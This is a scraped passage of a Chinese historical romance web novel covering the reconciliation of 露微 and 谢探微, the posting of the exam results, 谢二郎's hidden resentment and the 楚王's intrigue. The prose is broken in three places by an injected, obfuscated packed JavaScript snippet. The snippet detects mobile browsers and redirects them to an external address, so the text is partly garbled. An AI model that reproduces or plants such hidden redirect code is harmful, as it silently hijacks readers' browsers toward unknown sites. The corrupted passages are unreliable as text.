露微追烦了,简直都不信谢探微竟能作出这种矫情模样,当着厅堂里就吼了一嗓子。果然,这人被震慑住了,猛一顿步,脸色涨红。露微也还是不在乎旁人的眼光,又叫店家备了一间雅室。 “过来!” 擦肩而过,露微又向他瞪了一眼。 …… 雅室在茶肆二楼,二人相对而坐,耳边虽有街市嘈杂之声,但室内的气氛却俨然颇为严峻。 “你不是在等我?你但凡说一句不是,我立马就走!”露微开门见山,不容谢探微再矫情。 谢探微目光时抬时低,脸色渐渐暗沉,蓦然一开口,眼眶却同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539150|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时泛红,“上次都是我不对。” 露微再次开了眼界了,可心里再也不是烦躁,一下就软了下来,“上次我也并没有……” 露微也不敢怎么说了,上回她是怕谢探微冲动之下作出不值得事,或许是把话说重了,也没有耐心解释。 “只是为上次?”露微还是觉得不至于,挪开两人中间的一方小案,靠近了他的身前,“你别哭啊!” 满腔酸涩藏在眼睛里已经许久,现在心上人就在面前,谢探微只听一个“哭”字就再也没忍住,将露微一把抱紧,泪水夺眶而出。 露微吓到了,脊梁骨一僵,可耳畔只听他的哭声,隐忍又急促,沉重而颤抖,竟是委屈到了极致。 “发生什么事了?你告诉我,告诉我!”露微断定,这不可能只是因为上回的区区小事。 谢探微一时难以止住,露微看不到他的脸,只觉肩上湿透一片,身体也被包裹得不得动弹,就只能用唯一能动的双手在谢探微的背上不断拍抚。 良晌,谢探微自己松开了双臂,但眼中泪水未停,又让露微望之一惊:这可是二十鞭子下去还能平常说话的人,替他委屈,他也满不在乎,如今竟哭得满腮洒泪,涕下如雨,像个无所顾忌的婴孩,泪光之中闪动着深深的无助。 露微一时不想再逼他说话,就用这身崭新官服的衣袖替他拭泪,即使擦了还有,便继续擦。又是许久,那张咬出血印的嘴唇终于缓缓松动,低哑地送出声来: “微微,我以后什么都听你的,你能不能永远不离开我?” 他们之间从未说过这么严重的话,露微还是不知他从何而起,但心头也不禁发痛,“好。” 谢探微长长地呼了口气,眼中泛红未褪,但终究将全部心事说了出来。自上元节夜里的事情起,到赵家近日的缘故,最后的重点落在了他的亲生父母上。 露微安静听来,心境不可谓不起伏。 谢探微自幼有弃子之感,如今也与父母不和,这些露微早知。但没想到,就因最近连番波折,致使谢探微急于婚事,反倒让从前那些只掩藏心底的委屈,都百倍地翻涌了出来。 这人哭成这样,毫不掩饰的脆弱,源头都在她一人。 “虽然阿父与我解释了,说你家近来事多,难免是非,赵太傅不愿与这些人打交道也是为了保护你,便叫我别在此时去搅局。可我还是忧心,怕你觉得我迟迟不来提亲,是食言了。” 说着,谢探微顿了顿,抬手轻抚露微脸颊,“别人如何看我都不要紧,只要你看得上我,我便此生无憾了。” 露微有无以为报之感,胸口闷痛,身体倾去,紧紧抱住了谢探微,“既然别人如何看都不要紧,你又何必引动伤怀?早叫你疼就喊疼,委屈就哭,可哭也哭了,嘴还是硬!” 谢探微记得这是那次挨鞭子时露微劝他的,此刻多添了几分嗔怪,却令他一下就笑起来,“解铃还须系铃人。” “你又好了?”听到笑声,露微立刻直起了腰,“谢探微,你今天吓到我了!” 谢探微早已不见伤怀之态,脸上竟露出得意,目光直视,忽然倾身,吻住了露微的嘴唇。而露微先一惊恐,情急之下,顺势在这人唇上用力咬了一口。 谢探微吃痛,一下子放开了,“微微!” 露微看他唇上冒出血珠,得逞一笑,“你敢轻薄陛下亲封的五品官,我还不能惩罚你了?” 谢探微抹着嘴巴,乖多了,眼睛反复在露微身上扫视,最终落在她的左腕,“五品官不让戴镯子吗?” 露微一低头,捂住左手袖口,略有心虚。她如今虽以女官身份侍奉东宫,却是辅教伴读,职责严肃,并不宜脂粉气重,那只桃花金扣的镯子,还是早上刚刚拿下来的。 看露微应答不来,谢探微却暗抿起一笑,忽而伸手,将她揽到了身前,“好了,我都明白,不怪你。” 露微既羞惭,又觉得这人难缠,拧着脸,没说话。 谢探微很知道露微此刻在想什么,眼珠转动,凑近了她的耳畔:“要不是知道春闱的日子,我还以为已经放榜了呢,一甲状头就是咸京才子赵露微。” 倒不是哄露微的话,谢探微先前站在街角等候,只一望见这个朱色官衣的身影,便一恍惚—— 束发包裹乌纱幞巾,圆领袍服贴着修长的身形,这女官服饰参考男装,本就风致特别,露微又一脸清素,更添了几分英气,活脱脱就像一个春风得意的进士郎。 一下没忍住,露微笑出声来。 32.春闱 礼部春闱三场试,日以继夜考了整整九天,也不过旬日之后就在皇城朱雀门外放了及第进士榜。 这日散朝后,皇帝召集吏部和礼部的官员到政事堂议新进士事,赵维贞也被传召。于是,露微只陪着太子略背了几篇文章,便也匆匆奔赴了朱雀门。 虽然露微心里的那个人不用考试,但也另有一份牵挂。当她一路小跑,气喘吁吁地冲到榜下,放眼乌泱泱的人群,果然很快就找到了要紧的人物。 “贤儿!” 露微在人流中硬挤出一条道,手刚能够着杨淑贤便急问:“怎么样?有仲芫的名字吗?!他人呢?” 杨淑贤也只是垫着脚眺望,根本看不清名单,一边拽住露微一边道:“姊夫去前头了,让我在这等着!” 露微试着凑去几眼,只见一列列字小得和蚂蚁似的,还是算了。但周围实在太挤,不断有人要往里去,露微一想,干脆将淑贤带出人群站到了远处。 淑贤倒也乐意,反拉着她又转了个街口,原来,淑真也来了,抱着泽兰坐在马车里等候。 又有两月不见这孩子了,露微一时只是满心愧疚,而淑真一把孩子带下车,泽兰便向她张开了手。 “兰儿乖,阿娘这身穿着,不能无状。”淑真拦下了孩子的手臂,慢慢将她放在了地上,自己眼里已是泪光点点。 露微默默蹲下身,拉起了孩子的小手,轻抚着稚嫩的脸颊,“兰儿又长高了,更好看了。” 小泽兰长睫卷翘,盈盈一笑,又想要抱,却又很快自己缩回了双手,“兰儿想阿娘了。” 一句话,教在场三个长辈都红了眼眶。 可也正是此时,熙攘的人流中奔来了姚宜若。榜下过来的距离并不远,天气也还略有春寒,但他满头冒着汗,喘息不已,行至三人面前又猛然顿步: “一甲,第一名!”他用颤抖得近乎啜泣的声音说道。 …… 榜下士子何止千人,有还没挤上去,紧张得脸色煞白的,也有早就挤进去看过的—— “阿娘,别看了,有什么好看的!” 谢探隐今日是和母亲一起来看榜的,但来回看了三遍榜,竟没找到一个姓谢的,名落孙山了。 不过,李氏不仅没有不高兴,安慰了儿子几句,母子一起登车之际,还被不远处的风景吸引住了,“那个女官就是赵家露微吧?真是好看,她倒像个状头!” 谢家的马车和姚家的巧停在了一条道上。 “阿娘?!”谢探隐一脸不可思议,眼中冒起火气,“阿娘可知她在和谁说话?那可是她前夫姚家的人!她既已和阿兄彼此有意,又和前夫纠缠不清,阿娘还夸她?!” 李氏这才惊讶,缓而却问:“你何时认得姚家的人了?” 谢探隐又露出不屑的神色,“那边的男子叫姚宜若,是她前夫姚宜苏的胞弟。姚宜苏素来医名远扬,这弟弟也算跟着长兄扬名了,是今科状头!我不认得,只是听过名字而已。” 谢探隐刚刚没在榜上找到自己的名字,但第一眼开始找的时候,就是从一甲第一名看起的。而他之所以知道些姚家的事,也不过就是因为他曾有意了解过。 李氏听罢,脸色沉了不少,转身登上了车驾。 谢探隐见状,嘴角竟暗暗浮出一丝笑意。 …… 去年听闻姚宜若将要参加春闱时,露微便想过,若他一举中第,便才十九岁,就是国朝最年轻的进士郎了,比她长兄赵启英当年还要年轻三岁。 可没想到,如今姚宜若不但中第,还竟是第一名的状头,眼见是要名动天下了! 然而,只是众人难掩兴奋,姚宜若自己反而很快平静了下来,整了整衣袍,将身体摆正,突然向露微拱手拜了一礼。 “仲芫为何拜我?!”露微惊愕不已。 姚宜若万般郑重,眉头越发压紧,“这一拜,是替姚家略偿三年苛待,也为长兄稍还三年薄情。虽说也是无济于事,可仲芫年轻德薄,能为你做的实在有限。如今仲芫侥幸中第,才觉有资格向你下拜。仲芫只望你今后不必解怨释结,更愿你早日选聘高官之主,与他琴瑟相和,享尽欢喜!” 算起来露微比姚宜若还年小两岁,但因从前名分的缘故,一直都是将他当弟弟看待的。姚宜若也是一样,从前张口闭口都先是一声“长嫂”,可如今,只称“你”。 露微很明白其中的含义。 “好。”露微含泪应声,笑意也是同时起的,“你以后就称我的名字吧!我与仲芫,可以为友。”说着,她又转向杨淑真,泽兰已被抱起,一双眼睛别样灵透,仿佛已能看懂了。 “真儿,我不说你也已做足了,可从今往后,兰儿就真的就托付你了,不管她何时会再有嫡母。好不好?” 直到姚宜若下拜前,杨淑真还曾闪过一念,希冀露微能够回来,但现在一切都分明了。她分出一只手拉住露微,深深点头: “你放心,你放心!莫说我和仲芫现在尚无孩子,就算以后有了,也绝对越不过她!你若想她了,我就带她来见你,只要你一句话,只要你愿意!” 露微没有不放心的,而是从此可以真正放心了。 …… “郡主,擦一擦吧,衣裳都湿了呢。” 李氏登车后,其实并没离开,却是叫下人将马车悄悄驶近了一些。她撩开车帘就能看见露微,而帘外的话音也能清楚地透进来——她原是听了小儿子的解说,想来细细探听一番的。 “这孩子可真是……”李氏回过身,接了侍娘叶新萝递来的帕子,满面动容,“这么好的孩子怎么就所托非人呢!也不知赵太傅怎样挑的女婿,当初要是选了这姚家二郎,岂不美满?” 叶新萝是自小贴身侍奉李氏的侍娘,很了解李氏这副菩萨心肠,一笑劝道:“赵娘子虽是遇人不淑,可好歹也苦尽甘来了,若不如此,郡主去哪里得一个才貌双全的长媳呢?” 李氏被逗笑了,一面擦拭,瞥眼坐在角落的小儿子,双臂抱在胸前,一副漫不经心态度,“二郎,你既不与姚家人熟识,以后万不可再胡言,更不要将‘前夫’之言挂在嘴上,若叫赵家人听见,该如何想我与你父亲?” 谢探隐脸色悻悻,实则早憋气在胸口,立马回道:“我何曾胡言了?难道不是事实?阿娘怎会如此偏爱这个赵露微?咸京的高门闺秀就她一个好的?咱们这样的人家就是再娶一位公主,也般配得上,何苦只要这个嫁过人的!” 李氏从未见小儿子如此顶撞,且出言狂悖,让她都不敢相信,“你听听你说的是什么!!你……” 李氏一时急怒,竟至找不出话来,而眼见母子越发闹僵,叶新萝连忙拦了一把,对谢探隐说道: “二郎怎可对郡主这样说话?她是劝你不要失礼呀!” 叶新萝不是寻常侍婢,是看着谢家几个孩子出生长大的,年资深厚,谢二郎倒不敢十分撒气,况且也反应过来,刚刚是有些言辞冲动,便低了头,向母亲道了句歉。 …… 姚宜若新逢大喜,自然还要先去拜谒师长,有好一通外务要忙。露微目送他们的车驾远去,内心不知有多欣慰,正欲回家,转身之际,后肩忽然被人拍了一下: “下官见过赵学士!” 露微猛一缩肩,“你哪儿冒出来的!”是谢探微,冷不丁就竖在眼前了。 谢探微其实早就到了,是等着露微与人说完话才跳出来,一笑道:“刚刚那个就是淑贤的姊夫,姚家二郎?” 露微大为尴尬,这才发觉谢探微看见了,更知他认识淑贤,便也不难猜,“我就是……路过碰见了,今天不是放榜吗?二郎也参加了,就顺便问,问一下。” 露微完全不会撒谎,更是心虚,可到了谢探微眼中,都不必辨别,“那他必定中了,瞧着你们都挺高兴的。” 嗯?这语气听着不大像是介意的。 “是,一甲第一名。”露微试探地回道。 “一甲第一名?!”谢探微目色一惊,脸色都变了。 露微又点点头,倒琢磨不出这人的意思了,“你到底是好奇,还是介意我和二郎说话啊?” 谢探微惊讶稍减,不再装了,“微微,我说了都听你的,就自然不会再为这些事自扰!况且,那是淑贤的姊夫,我又何必光认他是姚家的二郎呢!他们原是对你好,你才会一直交好,便是那个小女娃一辈子只认你做娘,我也不介意。” 露微忽然觉得谢探微一下转变了许多,竟连泽兰都顾及到了。 “你今天又是专门来找我的?”缓了缓,露微柔声问道,眼睛也才看到他手上拎着几包东西,“这是什么?” 谢探微将东西提起来,却一摇头,“我是一到就看见你了,但事先也不知。微微,我弟弟也参加了春闱,你忘了?” 露微还真是一点没想起来,羞愧不已,“那你快去找他啊!还跟我说这么多!” 虽是偶遇,既遇上了,谢探微也舍不得,迁延顾步之间,只用眼睛四下扫视寻找,却又忽然一顿。 “怎么了?还不去?” 露微替他着急,可当沿着他的视线望去,竟也是一惊——那一边,谢探微的母亲和弟弟正走来,不必再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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然而,李氏岂是没注意到露微,一笑,正要说什么,忽然却被谢二郎抢了先。 “多谢阿兄,我确实喜欢!”他不早不晚,偏在此刻从谢探微手里接过了饼餤,又叹了口气,道: “近来为我的事,阿娘也甚少关怀阿兄,我心里有愧。若我没看错,那日我和阿娘要去昭成寺祈福,站在家门前徘徊的是阿兄吧?可惜当时我只见一个背影,看着像,却又想着阿兄不常回来,便一时没敢相认。” 此话一出,露微和谢探微,连着李氏,三人俱是一惊。 “你几时看见的?怎么不叫娘看?”李氏立马拽了下二郎,又转向谢探微,“大郎,你那天真的回来了?” 这件事算来也有两旬了,谢探微的心境已经平复,可突然当面被揭穿,就好似做了什么亏心事一般,令他难堪。 而这感觉,只有露微明白。 “露微斗胆请问,不知郡主和二公子是哪天去的?实不相瞒,我也常去昭成寺礼拜,知道每年二月二寺内会举行斋天仪式,此时请愿会更灵验。那日我才到寺门,不想就遇见了长公子,他说他也有所听闻,是来给二公子祈福的。便想来,难道我们都赶巧了?” 露微是急中生智,但其实也并不知谢探微是哪天回的谢家,只凭着对昭成寺的了解,又想谢二郎定是为春闱去祈福,前后一算日子,便猜是二月二这天最有可能。 “正是二月二呢,那应该就是二郎看错了。”李氏信了,既有些失望,又自眼中透出疼惜之意,“大郎,你为弟弟一片心,又是祈福又是买饼餤,怎么就不肯回家来呢?” 谢探微只是垂着眼睛,向露微暗送余光,口中道:“去便去了,只是没在里头遇上,母亲不必再想。今日过来,我只告了一个时辰的假,还要回去上职,就不陪母亲了。” 李氏一叹,只好作罢,但将走时,又转向了露微,没说什么,就牵起她的手轻轻拍了拍,面上温和一笑。 直到谢家的马车驶出这条街道,露微才收回目光长长地舒了口气。她本不常撒谎,也是第一次和李氏说那么多话,当真是“斗胆”了。 “微微,还好吧?”只见露微脸色发红,谢探微心里清清楚楚,抬手抚了抚她的额头,真有些烫。 露微直是摇手,“你下次和我说你家的事还是加个日子吧,刚刚要不是凑巧,我也不能圆场了!” “我早说过,你是聪明得不行。”谢探微不禁苦笑,心里早是无限感动,“微微,谢谢。” “你都说以后听我的了,我自然也要护着你。” 33.暗昧 “娘子瞧什么呢?谢中候早已走远了。他方才说要送你,你又不肯,现在却想了?” 坐在回府的马车里,露微总撩开车帘向外观望,一旁陪伴的雪信见了,就笑着打趣。但是,露微丝毫没想那人,反拉过雪信一起看向外头,只道: “我是见街上这些骑马的人,很是羡慕。如今我常往宫里去,拖拖沓沓地乘车,倒惹眼得很。你也见了,那些上朝的官吏都少有乘车的,就连阿耶也是骑马。” 雪信摇了摇头:“可他们都是男子,你是个小娘子啊,谁会觉得不妥?而且娘子也不会骑马,要学也不是一时的。” 露微正是知道自己不会才羡慕,便也想着谢探微曾说要教她,但至今尚无机会兑现。“以后接送,把车驾停远些吧。” 雪信点点头,欲扶露微坐正,可露微正要将车帘放下,突然身子一倾,又把头伸出去了。马车行驶平稳,并没有急刹震动。 “娘子又怎么了?!” 露微没有回应,只叫车夫停车,自己跳下车,跑到了对面的巷口。雪信自然追了过去,却见露微从墙根下捡了几包东西,不知是什么,但包装整齐,沾了灰也能看出是新的。 “娘子是看谁落了东西不成?”雪信一边问,一边四处看人。 露微只是越发将东西抱紧,心里乱的很,因为她确实看到了这东西的主人,但那人不是无心落下,而是故意丢掉,而且她同此人才刚刚见过—— 谢家二郎为什么要将长兄新送的饼餤拆也不拆就丢弃呢?他不是亲口说的喜欢么? “这件事对谁都不许说,尤其是以后见到谢探微,更不必提。” 雪信一头雾水,愣愣地点了点头。 …… 谢道元从政事堂议事回府,已是午后了,倒也无须李敬颜再提,他早知小儿子榜上无名。等换下官服宽坐,他只问: “他人呢?” 李敬颜听话音就不太妙,自去将房门关了,才说道:“知道你要生气,他岂不早早跑了?说是去散心,自榜下就走了。我知道,今天陛下一定问了,二郎没中,你面上无光。” 谢探微一看夫人这护短的样子,就知道是“共犯”,二十多年来见得多了,只有叹气: “阿颜,你又不是无知的人,这岂是颜面之事?他已二十有一,终日无可操心,只需读书,却还是不知满足,荒废课业。你可知今年的状头才是十九岁的少年啊!” 诚如谢道元所说,李氏并非一味盲目之人,但事已至此,再打骂又能如何?她心里一想,觉得丈夫既提到了新科状头,便正好将今天的见闻好好说说。 谢道元忍耐着听完,倒竟不知新科状头姚宜若,就是赵家姻亲的那个姚家的子弟。然而,他也并没过多在意,沉默了半晌,问道: “阿颜,前时让你修书去沈家,与小妹交代芳儿之事,可送去了?有无回信?” “送了送了,祸是我闯的,岂能让你善后?”李敬颜微嗔一笑,“芳儿既跟了来,我肯定会为她选一个好人家,让她风光出嫁,一应妆资都不必小妹再操心,小妹也同意了。” 谢道元这才脸色好些,“其实内宅家事都该是你做主,就如当年为渺儿选婿,他们如今夫妻和睦,都是你慧眼识人。只是昭清跟我提过,说沈家并非良配,我才与你商议。” 这话却让李氏一下笑了,挪到丈夫身前坐下,侧着脸道:“你这是夸我呢?还是在给自己找台阶下呢?” 过了二十多年的夫妻,儿孙都有三代人了,还见李氏这般打趣调皮的样儿,谢道元既一下窘迫起来,又忍不住泛起笑意,“我是说实话,找什么台阶啊!” 李氏轻轻一哼,白了他一眼:“除了儿子们长不长进,他们别的事你从不多问。可现在呢?竟然七拐八绕地提起大郎的婚事,还不是找台阶?终于心软了?发现大郎是个好孩子了?” 谢道元嘴巴一瘪,慢慢避开了眼神,“他还差得远呢!只是……”又轻咳了两声,“哎呀!我是想同你说正事!” 玩笑归玩笑,李氏也知丈夫不会无端白说一件事,便罢了,“你说,你说,我洗耳恭听!” 谢道元点点头,面色变得郑重起来,“自从赵家女儿做了女学士,这孩子的才识越发掩不住。我亲眼见,太子与她投缘,要加封她的官职,她竟能规劝,明其过失,有谏臣之风。那时我便有了一桩心事,想让你好好清算一下家资,包括扬州的祖业。” 果真是件极大的正事,李氏不由睁大了眼睛:“你是要为大郎下聘了?那你之前又让我不要急,还说什么怕不成了难堪,你到底怎样?” 面对李氏连串反问,谢道元倒真不是故意自作矛盾,拍了拍李氏的手,安抚着又道:“阿颜,你觉得陛下那般英明之人,会看不出你儿子的心思么?你儿子先为人家惊驾,宫宴时又那样回话,陛下必然早觉此事。” “这和陛下知不知道有何关系?难道你还想求陛下赐婚?”李氏听得糊涂,不等丈夫说完便打断了。 谢道元顿了顿,面露肃容,“我亲见那孩子劝谏太子时,就是被陛下传召,同去的还有赵太傅。陛下未动声色看完,却说那孩子‘很该到朕家来’。我实在不敢深猜其中的意思,看赵太傅的神色,大约也是如此心情。” 李氏猛一下愣住了,“这……太子才十岁,何至于谈婚论嫁?还是说,陛下他自己……不会啊!若是这些意思,还叫你去干什么?只对赵太傅言明就是了。” 谢道元微微摇头:“所以,若真只是陛下那头的意思,我便也不会再去猜。然则,当此时,陛下将我与太傅唤到一处,可能也是知道两家儿女之事,是在有意提醒。” 听到此处,李氏虽还是不明,心中却觉阵阵寒意,“院子里没人,我都遣出去了,事关家门,非止外务,你不能瞒我啊!” 谢道元深吸了口气,直起腰背,信任地看着李氏:“赵太傅受封太傅时,赵家求亲之人不绝,这其中有寻常想要攀亲的,却也多有受人指使,故意造势之人。他们想把赵家置于火上,所以那时我才叫你别急。若真去了,赵太傅许与不许是一回事,恐怕更是落人口实,反让有心之人抓住把柄。” 李氏有些听懂了,她毕竟是宗室郡主,自小是见识过官场的,“赵家才赦免回来就被陛下重用,难道之前贬官都是做给人看的?你和昭清两人成日劳心,难道是在帮陛下办什么大事么?连陛下也要费如此心力,那人究竟是谁?” 谢道元目光凝视,将李氏双手都紧紧握住,“你想芙蓉殿宫宴那日,是谁姗姗来迟?” 李氏倒吸了口凉气,脸色即白去一层,“露微这孩子太过突出,竟一下子卷到这样的事里。可我看大郎的情状,恐怕难等这件大事结束,难道就只能伤他的心么?” 谢道元神情坚定:“陛下封女官的旨意一下,赵家求亲的人就都散了,这恐怕也是陛下在维护赵家,也唯有陛下出手,才能让人捉摸不透。所以,我们本猜不透就更不要妄下决断,左右不论陛下那句话是何用意,我谢家和赵家都不能在此时结亲,否则必会被人视为结党,群起攻讦,令大局功亏一篑。” 李氏揪心不已:“陛下到底要如何才能动他呢?这个大局总得有个破局之处啊!我真怕迷局未破,孩子们先受到伤害啊!” “是难,但不会太远。” …… 永兴坊紧邻皇城东侧,其间第一横街上坐落着坊内最大的一家宅邸,十九年前是雍王府,如今是楚王宅。漫长的岁月过去,仅仅是一字之差,宅邸的主人从未变过。 当此初春,清风日头虽都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565442|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算暖和,但一阵阵鸟啼早已惊破了重重深院的幽寂。一位紫衣女子站在高楼之上,蛾眉淡扫,双眸剪水,似是赏景,却已许久不曾挪动目光。 忽然,她单薄的肩上被披上了件氅衣,颜色鲜红,布幅宽大,将她身上原本的紫裙全部遮盖住了。 “王妃,我不是说过,我喜欢你穿红色么?”披衣之人缓缓将她的身子转过来,贴着她的耳畔轻吐气息。 整座楚王宅里能被称作王妃的自然就是舒青要,而也只有楚王李元珍能对她如此举动。 “妾不出门,随意穿着而已。”舒青要低着眼睛,将脸稍稍侧转,垂在身侧手却暗暗捏拳,“大王来是有事要吩咐妾么?” 李元珍淡笑,拨开氅衣,手掌在舒青要身上游走,自上而下,停在了她的腰窝,“王妃聪慧,我是来告诉你,倩儿今后不必在你跟前侍奉了,我另为她找了个好去处。” 和缓的话音却让舒青要浑身一颤,“倩儿自小跟我,你把她怎么了?!” 李元珍嘴唇微抿,退开一步,那只伸在舒青要腰间的手掌却猛然一提,瞬间掐住了她的脖颈,“舒青要,在南营州,我已经纵容过你一次了,这是在咸京!你看一看——” 李元珍强扭过舒青要的脸,指着西边皇城,不必遥遥,一眼就可见清晰的阙楼,“你怎敢坏我大事!” 舒青要雪白细腻的脖颈挣出青筋,却一嗤笑,斜睨着道:“你从来都知道我和姚宜苏的旧事,为何还要纳我为妃?我原也无缘再见他,可你偏又虚报重病,让姚宜苏远赴南营州,你这是在纵容我,还是为你自己苦心孤诣的大事下一步棋?” 李元珍的眼中闪过冷光,却反将舒青要放开了,“你虽心不在我,可女人的真心是最无用的,只要世人知道,你生得美丽,而且家世平常,便足够了。” 舒青要还是一笑,微微觑眼,似作端详:“李元珍,你蛰伏边州近二十年,看似事事低调,却不会随意低调。就如我的家世再平常,父亲也是一位言官,有谏奏之权,才能为你出面,阻止那位赵太傅暗中的动作。可皇帝若当真信他结党,又怎会留命不杀,反贬他去你的辖所呢?我只恐你聪明反被聪明误啊!” 李元珍听来却是气定神闲,甚至目露赞赏:“看来,我该封王妃为军师,若只留你在内宅虚度,岂不可惜?” 舒青要嫁给李元珍已有七八年了,一直是笼中的金丝雀,摆设而已,但像今日这般坦白的对话,还是第一次。她亦很是知道,李元珍此番回京,就是箭在弦上了。 “告诉我,你接近姚宜苏,到底要让他干什么?他只是一个医官,毫无实权,又能为你做什么?!” “我确实可以告诉你,但你可能会后悔。”李元珍舒了口气,将眼睛转向宫城的阙楼,语意颇堪玩味,“你与他年幼相识,情深意笃,可你却在他家落魄之时嫁给了我,这么多年过去了,他也娶了妻,你以为他的心还和你一样,没变过么?” 姚宜苏娶妻,娶的是谁家的女儿,舒青要都很清楚,但确实不知李元珍这几句的意思。 李元珍回头瞧了一眼,轻轻哼笑:“我找他来,是敞开天窗说亮话。如今是我知道他的旧事,他亦心知肚明,但是他还是愿意效命于我,毫无惧怕。这就是因为,他先前为你苛待娇妻,甚至休妻,忽然悔悟,却发现有比他权高势大的人与他争夺,他岂不依附于我,各取所需呢?” 舒青要终究失了颜色,身体倚在柱上,缓缓滑了下去。李元珍跨去一步将她接住,嘴角扬起一笑: “所以,你以后再也不必费心让贴身的人传书给他,他也不可能再接到你的信。” 舒青要眼珠微转,眼角滑落晶莹的泪珠,“你什么都和他说了,就连他父亲当年的事也……” “王妃,慎言!” 34.约定 露微向来听谢探微说起家事,都是说父母如何,从未见他多说弟弟,至多是提过一句,弟弟是一直养在父母膝下的。所以,露微从不曾想过他们兄弟之间的事。 可如今,她亲眼见谢二郎当面一套背后一套,便自然不能一看而过。按常理,兄弟自小聚少离多,感情不深不算稀奇,但明眼人见,都知道谢家父母忍心长子幼年离家,却没有同样对待次子,自是对次子有所偏爱。 然而,这受偏爱的人,就算不喜长兄所送的礼物,不好意思直说,事后也不至于当街丢弃。若要道理说得通,就只有一种可能:谢二郎之心不在于是否喜欢礼物,而实则是,不喜欢长兄。 虽然露微一时不能理解谢二郎的嫌恶从何而起,但果真这般,那此人当面说的那些亲近之言,自然也都是虚情假意。更要紧的是,谢探微本就疏远父母,而谢父耿直,谢母慈心,若弟弟每怀嫌恶,难免借故生事,令父母蒙蔽其中。 谢探微在家中的处境越发艰难了。 理清这些头绪,露微只是深觉无力。她不能向谢探微点破,去戳穿谢二郎的作为。因为这样只能令谢探微更加失望,而兄弟反目,骨肉相攻,更是一个家族的大忌。何况真有那一日,也难保谢探微能占得上风。 露微忽然也更加理解父亲的那番话了,父亲说谢家“人情何其复杂”,这还只是亲兄弟之间…… “娘子,醒醒,前面就要到了。” 露微将事情放在心里日思夜想,连着几夜都没睡安稳,只得在上职的路上闭目养神,然而脑子也静不下来,忽听雪信提醒,再一看天时,竟有些晚了。 “今天车慢了!” 她一边叫停,跳下了车,可雪信忙又跟去拦住,送上了一块饼餤,“车没慢,是娘子用早膳的时候发呆,也没吃两口。这个带上吧,饿着肚子怎么侍奉太子啊!” 露微既来不及多说,又看雪信拿的就是那天捡来的饼餤,便一边往嘴里塞,一边跑向了皇城。可偏是这着急的时候,到了城门下,竟又正好撞见百官散朝出来。 这下铁定是赶不上了,她只能乖乖让到一旁,低着头,嘴里暗嚼着饼,将剩余半块藏进了袖中。 然而,百官散朝并没有什么固定的队形,三三两两结伴,前前后后拖沓,不知什么时候才能全部散完。 “你看,这不就是赵太傅家的女学士么?” “是啊,朱衣五品,比你我的品阶还高呢,哈哈……” “你我就算混到了五品,也不如她能高驾伴君啊!” 等了一时,人还没走完,却有议论之声传入耳内,语意轻佻,让露微不禁生出怒意。 “你不必在意。” 嘈杂之中忽然飘来一句醇厚的嗓音,也像是对自己说的,露微抬起头,脸一转就看见了此人: “杨……杨公子?”愣住的这一下,是因为露微认得他,但又许久不见了,他正是杨淑贤的长兄,不久前才调任吏部的杨君游。 杨君游欣然一笑,向露微拱手一礼,“赵学士,久疏问候。” 露微连忙还礼,也不在意那些议论了,“早听贤儿说起兄长升任,奈何露微家中多事,也不便登门恭贺,请杨员外莫要怪罪!” 杨君游从前和露微只是姻亲相连的关系,虽不算熟悉,但也深知赵维贞的贤名。此次回来,有杨淑贤这个通晓内情的小妹在旁,他便早就了解了。 “这从何说起呢?我只恐那时小妹未能照料周全,有所怠慢。”杨君游摇了摇头,脸上笑容和煦,“如今的一切赵家都担得起,但嫉贤妒能是小人本性,德高毁来更是世间常态,只要你不在意,就无人能伤你。” 露微其实也是一时之气,可杨君游一番安慰,真也让她如沐春风,“是,露微受教了。” …… 虽然迟了片刻,但露微抵达东宫时正赶上父亲的脚步,于是授课辅教一切如常。可是,等到出宫返家,露微忽然却被父亲问起,她便才知,连日的心神不宁早已露馅。 “阿耶,我知道轻重,不会在太子的事上怠惰。只是……”露微一时想说实话,可又怕父亲原不明朗的态度急转直下,直接断了这门婚。然则,又不免想起上回谢探微在城门等她,父亲似乎是默许他们见面的。 重新想了想措辞,露微问道:“女儿一直想问,阿耶是不是已经见过谢探微了?对他是何印象?我与他的事,阿耶究竟什么时候才能想好呢?” 赵维贞大约猜着就是事关谢探微的,可也没想到女儿问得这么直接,略一忖度,道:“不论阿耶作何想法,谢家不来提亲,难道要阿耶去提么?” 露微哪里纯粹是为嫁人?只是父亲一日不明,她就两头生忧。经历谢二郎一事,露微深知谢探微“势单力薄”,她却没有一个正当的身份时时去维护。她再觉无力,也不想干看着。 “况且,”不等露微再说,赵维贞又添了几分正色,“陛下才刚刚封你为女官,你的终身事,大约陛下也是要过问的,阿耶也不能这么快为你做主。” “什么?陛下操心国政还不够,竟能有空管我?”露微万分不信,又觉得父亲的语气不寻常,目光虽直视着她,却似有微动,“陛下同阿耶说了吗?还是陛下觉得我和谢家不配?” 